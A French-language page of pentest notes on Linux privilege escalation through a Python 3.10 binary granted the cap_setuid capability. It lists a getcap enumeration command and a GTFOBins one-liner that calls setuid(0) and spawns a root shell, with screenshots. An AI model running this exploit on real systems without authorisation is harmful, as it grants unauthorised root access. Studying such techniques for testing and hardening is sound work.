> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/privesc/capabilities/python-capabilities/capabilities-python3.10-linux-privilege-escalation.md).

# Capacités (Python3.10) - Élévation de privilèges Linux

Notes sur les capacités (Python3.10) pour l'élévation de privilèges Linux, avec des étapes d'énumération, des exemples d'exploitation et une validation axée sur le reporting.

## De quoi il s'agit

Les capacités Linux divisent les privilèges root en droits granulaires pouvant être attribués à des binaires. Des capacités dangereuses telles que `cap_setuid+ep`, `cap_dac_read_search+ep`, ou les capacités d’écriture de fichiers, peuvent contourner les restrictions normales des utilisateurs. Cette page se concentre sur **Capacités (Python3.10)** et conserve le flux d’exploitation pratique : identifier la condition, la valider en toute sécurité, puis exécuter la charge utile minimale nécessaire pour prouver l’impact.

## Énumération

Commencez par confirmer le contexte local et la mauvaise configuration exacte avant d’exécuter le chemin d’exploitation.

```bash
getcap -r / 2>/dev/null
```

## Exemples

Si nous filtrons les capacités, Python 3.10 apparaît :

```bash
getcap -r / 2>/dev/null
```

Nous utilisons le [gtfobins](https://gtfobins.github.io/#+capabilities) site web pour obtenir de l’aide.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-27156bf53fc642d10e6e9c9793c8262984975390%2FPasted%20image%2020231127221330.png?alt=media" alt=""><figcaption></figcaption></figure>

<pre class="language-bash"><code class="lang-bash"><strong>python3.10 -c 'import os; os.setuid(0); os.system("/bin/sh")'
</strong></code></pre>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b7e171131f0a270e51a4169e4aabc51a34be6211%2FPasted%20image%2020231126000503.png?alt=media" alt=""><figcaption></figcaption></figure>


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